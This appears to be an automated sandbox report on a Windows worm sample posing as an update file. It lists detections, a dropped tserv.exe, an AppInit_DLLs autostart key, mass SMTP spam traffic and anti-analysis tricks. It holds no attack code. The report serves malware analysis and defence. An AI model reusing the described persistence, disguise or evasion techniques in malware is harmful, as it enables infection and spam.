Play interactive tour

Edit tour

Windows Analysis Report Update-KB6734-x86.exe

Overview

General Information

Sample Name:	Update-KB6734-x86.exe
Analysis ID:	549348
MD5:	5dcd10f99c967b68cf441863061eba58
SHA1:	feab79ce4d099ad4c6c85eba94337ddbfdd9c832
SHA256:	9db274112d2f8fbb5b21e6d5d0a1c71be0dc1d5240451ef23786492889d87075
Tags:	exeWarezov
Infos:
Most interesting Screenshot:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Send many emails (e-Mail Spam)

Tries to detect virtualization through RDTSC time measurements

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Contains functionality to inject threads in other processes

Tries to resolve many domain names, but no domain seems valid

Drops executables to the windows directory (C:\Windows) and starts them

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Creates files inside the system directory

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Uses SMTP (mail sending)

Classification

Process Tree

System is w10x64

Update-KB6734-x86.exe (PID: 6132 cmdline: "C:\Users\user\Desktop\Update-KB6734-x86.exe" MD5: 5DCD10F99C967B68CF441863061EBA58)

tserv.exe (PID: 6684 cmdline: C:\Windows\tserv.exe s MD5: 5DCD10F99C967B68CF441863061EBA58)

tserv.exe (PID: 7092 cmdline: "C:\Windows\tserv.exe" s MD5: 5DCD10F99C967B68CF441863061EBA58)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Update-KB6734-x86.exe	Virustotal: Detection: 87%			Perma Link
Source: Update-KB6734-x86.exe	ReversingLabs: Detection: 92%

Antivirus / Scanner detection for submitted sample

Show sources

Source: Update-KB6734-x86.exe

Avira: detected

Antivirus detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

Avira: detection malicious, Label: WORM/Stration.C

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

ReversingLabs: Detection: 92%

Machine Learning detection for sample

Show sources

Source: Update-KB6734-x86.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

Joe Sandbox ML: detected

Source: 1.0.Update-KB6734-x86.exe.400000.0.unpack	Avira: Label: WORM/Stration.C
Source: 1.2.Update-KB6734-x86.exe.400000.0.unpack	Avira: Label: WORM/Stration.C

Source: Update-KB6734-x86.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

1_2_00406360

Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\AppTiles\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\Deleted\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\microsoft.system.package.metadata\	Jump to behavior

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.33:25 -> 192.168.2.6:49740
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.6:49741
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.6:49744
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.72:25 -> 192.168.2.6:49751
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.73:25 -> 192.168.2.6:49752
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.22.161:25 -> 192.168.2.6:49756
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.6:49760
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.6:49761
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.73:25 -> 192.168.2.6:49768
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.74:25 -> 192.168.2.6:49770
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.6:49779
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.6:49780
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.70.33:25 -> 192.168.2.6:49778
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.72:25 -> 192.168.2.6:49787
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.75:25 -> 192.168.2.6:49788
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.33:25 -> 192.168.2.6:49790
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.33:25 -> 192.168.2.6:49791
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.33:25 -> 192.168.2.6:49793
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.33:25 -> 192.168.2.6:49796
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.33:25 -> 192.168.2.6:49797
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.33:25 -> 192.168.2.6:49795
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.6:49823
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.6:49821
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.6:49827
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.6:49822
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.6:49824
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.6:49825
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.6:49826
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.6:49834
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.6:49836
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.6:49851
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.6:49859
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.110:25 -> 192.168.2.6:49870
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.6:49880
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.6:49885
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.6:49897
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.6:49910
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.6:49930
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.74:25 -> 192.168.2.6:49958
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.74:25 -> 192.168.2.6:50003
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.57.58:25 -> 192.168.2.6:50004
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.57.59:25 -> 192.168.2.6:50008
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.242.59:25 -> 192.168.2.6:50022
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.242.150:25 -> 192.168.2.6:50028
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.57.58:25 -> 192.168.2.6:50041
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.57.59:25 -> 192.168.2.6:50042
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.242.59:25 -> 192.168.2.6:50044
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.242.150:25 -> 192.168.2.6:50047
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.68:25 -> 192.168.2.6:50058
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.69:25 -> 192.168.2.6:50059
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.82:25 -> 192.168.2.6:50061
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.83:25 -> 192.168.2.6:50063
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.68:25 -> 192.168.2.6:50071
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.69:25 -> 192.168.2.6:50072
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.82:25 -> 192.168.2.6:50074
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.83:25 -> 192.168.2.6:50076

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: lufka.zx replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bryson.demon.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx1-lw-us.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: quatro.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fafa.pk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abcdef.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: au.au-net.ne.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: orice.ro replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tvrtka.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: griepp.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: contoso.mx replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx2-lw-us.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: contoso.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: netko.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: somemail.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: src.dec.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx2-lw-eu.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riekk.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx1-lw-eu.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tek-astore.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: x.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pirajui.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shell32.dll replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fanfary.pq replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: worldwideoffices.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xara.pl replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: kywx.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fajrant.qz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: negdje.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ektro.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: animo.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abcdefg.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: emaiserver.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wewew.pl replaycode: Name error (3)

Source: global traffic

TCP traffic: 192.168.2.6:49735 -> 193.166.255.171:80

Source: Joe Sandbox View	IP Address: 51.81.242.150 51.81.242.150
Source: Joe Sandbox View	IP Address: 104.47.57.33 104.47.57.33

Source: unknown

Network traffic detected: DNS query count 167

Source: global traffic

TCP traffic: 192.168.2.6:49869 -> 193.166.255.171:8080

Source: unknown

Network traffic detected: IP country count 15

Source: global traffic	TCP traffic: 192.168.2.6:49734 -> 67.195.204.79:25
Source: global traffic	TCP traffic: 192.168.2.6:49736 -> 108.177.119.26:25
Source: global traffic	TCP traffic: 192.168.2.6:49737 -> 104.47.57.33:25
Source: global traffic	TCP traffic: 192.168.2.6:49741 -> 77.88.21.249:25
Source: global traffic	TCP traffic: 192.168.2.6:49742 -> 67.195.228.106:25
Source: global traffic	TCP traffic: 192.168.2.6:49743 -> 67.195.228.111:25
Source: global traffic	TCP traffic: 192.168.2.6:49747 -> 74.208.5.20:25
Source: global traffic	TCP traffic: 192.168.2.6:49748 -> 74.208.5.22:25
Source: global traffic	TCP traffic: 192.168.2.6:49749 -> 213.186.119.6:25
Source: global traffic	TCP traffic: 192.168.2.6:49751 -> 194.152.32.72:25
Source: global traffic	TCP traffic: 192.168.2.6:49752 -> 194.152.32.73:25
Source: global traffic	TCP traffic: 192.168.2.6:49753 -> 195.3.96.71:25
Source: global traffic	TCP traffic: 192.168.2.6:49754 -> 91.136.8.41:25
Source: global traffic	TCP traffic: 192.168.2.6:49755 -> 67.195.204.73:25
Source: global traffic	TCP traffic: 192.168.2.6:49756 -> 104.47.22.161:25
Source: global traffic	TCP traffic: 192.168.2.6:49757 -> 91.136.8.46:25
Source: global traffic	TCP traffic: 192.168.2.6:49758 -> 193.239.71.112:25
Source: global traffic	TCP traffic: 192.168.2.6:49759 -> 98.136.96.76:25
Source: global traffic	TCP traffic: 192.168.2.6:49765 -> 91.136.8.47:25
Source: global traffic	TCP traffic: 192.168.2.6:49769 -> 67.195.204.72:25
Source: global traffic	TCP traffic: 192.168.2.6:49770 -> 194.152.32.74:25
Source: global traffic	TCP traffic: 192.168.2.6:49773 -> 104.47.70.33:25
Source: global traffic	TCP traffic: 192.168.2.6:49782 -> 98.136.96.77:25
Source: global traffic	TCP traffic: 192.168.2.6:49788 -> 194.152.32.75:25
Source: global traffic	TCP traffic: 192.168.2.6:49790 -> 104.47.56.33:25
Source: global traffic	TCP traffic: 192.168.2.6:49797 -> 104.47.73.33:25
Source: global traffic	TCP traffic: 192.168.2.6:49798 -> 98.136.96.93:25
Source: global traffic	TCP traffic: 192.168.2.6:49800 -> 148.163.149.218:25
Source: global traffic	TCP traffic: 192.168.2.6:49813 -> 142.250.150.26:25
Source: global traffic	TCP traffic: 192.168.2.6:49815 -> 74.125.200.26:25
Source: global traffic	TCP traffic: 192.168.2.6:49816 -> 44.239.72.13:25
Source: global traffic	TCP traffic: 192.168.2.6:49817 -> 108.177.96.27:25
Source: global traffic	TCP traffic: 192.168.2.6:49818 -> 74.125.200.27:25
Source: global traffic	TCP traffic: 192.168.2.6:49820 -> 193.239.71.113:25
Source: global traffic	TCP traffic: 192.168.2.6:49821 -> 104.47.51.33:25
Source: global traffic	TCP traffic: 192.168.2.6:49830 -> 35.82.253.27:25
Source: global traffic	TCP traffic: 192.168.2.6:49833 -> 94.152.34.135:25
Source: global traffic	TCP traffic: 192.168.2.6:49834 -> 104.47.51.110:25
Source: global traffic	TCP traffic: 192.168.2.6:49835 -> 131.107.55.31:25
Source: global traffic	TCP traffic: 192.168.2.6:49838 -> 131.107.88.24:25
Source: global traffic	TCP traffic: 192.168.2.6:49839 -> 142.250.145.26:25
Source: global traffic	TCP traffic: 192.168.2.6:49845 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.6:49849 -> 142.251.31.27:25
Source: global traffic	TCP traffic: 192.168.2.6:49850 -> 142.250.150.27:25
Source: global traffic	TCP traffic: 192.168.2.6:49851 -> 104.47.56.110:25
Source: global traffic	TCP traffic: 192.168.2.6:49854 -> 96.47.154.206:25
Source: global traffic	TCP traffic: 192.168.2.6:49855 -> 173.194.202.26:25
Source: global traffic	TCP traffic: 192.168.2.6:49870 -> 104.47.57.110:25
Source: global traffic	TCP traffic: 192.168.2.6:49876 -> 193.239.68.121:25
Source: global traffic	TCP traffic: 192.168.2.6:49889 -> 195.29.173.131:25
Source: global traffic	TCP traffic: 192.168.2.6:49890 -> 173.194.79.27:25
Source: global traffic	TCP traffic: 192.168.2.6:49896 -> 173.194.202.27:25
Source: global traffic	TCP traffic: 192.168.2.6:49900 -> 138.201.223.6:25
Source: global traffic	TCP traffic: 192.168.2.6:49902 -> 130.193.9.47:25
Source: global traffic	TCP traffic: 192.168.2.6:49904 -> 108.177.127.26:25
Source: global traffic	TCP traffic: 192.168.2.6:49907 -> 44.198.115.56:25
Source: global traffic	TCP traffic: 192.168.2.6:49909 -> 67.219.247.199:25
Source: global traffic	TCP traffic: 192.168.2.6:49912 -> 54.244.49.115:25
Source: global traffic	TCP traffic: 192.168.2.6:49914 -> 185.175.124.58:25
Source: global traffic	TCP traffic: 192.168.2.6:49934 -> 176.223.123.126:25
Source: global traffic	TCP traffic: 192.168.2.6:49958 -> 104.47.18.74:25
Source: global traffic	TCP traffic: 192.168.2.6:49964 -> 194.97.150.230:25
Source: global traffic	TCP traffic: 192.168.2.6:49985 -> 195.29.173.138:25
Source: global traffic	TCP traffic: 192.168.2.6:49986 -> 195.29.173.139:25
Source: global traffic	TCP traffic: 192.168.2.6:49992 -> 173.228.157.39:25
Source: global traffic	TCP traffic: 192.168.2.6:50004 -> 51.81.57.58:25
Source: global traffic	TCP traffic: 192.168.2.6:50008 -> 51.81.57.59:25
Source: global traffic	TCP traffic: 192.168.2.6:50016 -> 205.220.176.130:25
Source: global traffic	TCP traffic: 192.168.2.6:50021 -> 185.183.28.235:25
Source: global traffic	TCP traffic: 192.168.2.6:50022 -> 51.81.242.59:25
Source: global traffic	TCP traffic: 192.168.2.6:50028 -> 51.81.242.150:25

Source: unknown

DNS traffic detected: queries for: yahoo.com

Spam, unwanted Advertisements and Ransom Demands:

Send many emails (e-Mail Spam)

Show sources

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 66

Source: Update-KB6734-x86.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

File created: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00411800	1_2_00411800
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_004108D0	1_2_004108D0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040C8E0	1_2_0040C8E0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040F0E9	1_2_0040F0E9
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00410907	1_2_00410907
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00404110	1_2_00404110
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00409119	1_2_00409119
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040F1C7	1_2_0040F1C7
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040C1D0	1_2_0040C1D0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00404990	1_2_00404990
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_004091A7	1_2_004091A7
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040E246	1_2_0040E246
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00428A08	1_2_00428A08
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00425214	1_2_00425214
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00405310	1_2_00405310
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00408BC0	1_2_00408BC0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00415BD0	1_2_00415BD0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0041B3D0	1_2_0041B3D0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040DBF0	1_2_0040DBF0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0041E3A0	1_2_0041E3A0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00409436	1_2_00409436
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00409CF7	1_2_00409CF7
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0041BD00	1_2_0041BD00
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040EDE0	1_2_0040EDE0
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040DE56	1_2_0040DE56
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0041C660	1_2_0041C660
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00410670	1_2_00410670
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040E676	1_2_0040E676
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00409F47	1_2_00409F47
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040EF78	1_2_0040EF78
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0040FF30	1_2_0040FF30
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00405F30	1_2_00405F30

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: String function: 0042664C appears 45 times

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00423D83: QueryDosDeviceA,lstrcpyA,lstrcatA,GetLastError,lstrcpyA,lstrcatA,DefineDosDeviceA,GetLastError,lstrcpyA,lstrcatA,CreateFileA,DeviceIoControl,GetLastError,GetLastError,DefineDosDeviceA,GetLastError,

1_2_00423D83

Source: C:\Windows\tserv.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior

Source: Update-KB6734-x86.exe	Virustotal: Detection: 87%
Source: Update-KB6734-x86.exe	ReversingLabs: Detection: 92%

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

File read: C:\Users\user\Desktop\Update-KB6734-x86.exe

Jump to behavior

Source: Update-KB6734-x86.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Update-KB6734-x86.exe "C:\Users\user\Desktop\Update-KB6734-x86.exe"
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s
Source: unknown	Process created: C:\Windows\tserv.exe "C:\Windows\tserv.exe" s
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s	Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_004047A0 lstrcatA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,

1_2_004047A0

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@4/4@521/74

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00405090 GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcatA,GetFileAttributesA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_00405090

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0041E0B0 FindResourceA,LoadResource,SizeofResource,LockResource,CreateFileA,WriteFile,CloseHandle,

1_2_0041E0B0

Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0042647C push eax; ret	1_2_0042649A
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_004254B0 push eax; ret	1_2_004254C4
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_004254B0 push eax; ret	1_2_004254EC
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_00426687 push ecx; ret	1_2_00426697

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

1_2_0041F660

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Executable created and started: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Boot Survival:

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\tserv.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs

Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0041D159 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,

1_2_0041D159

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

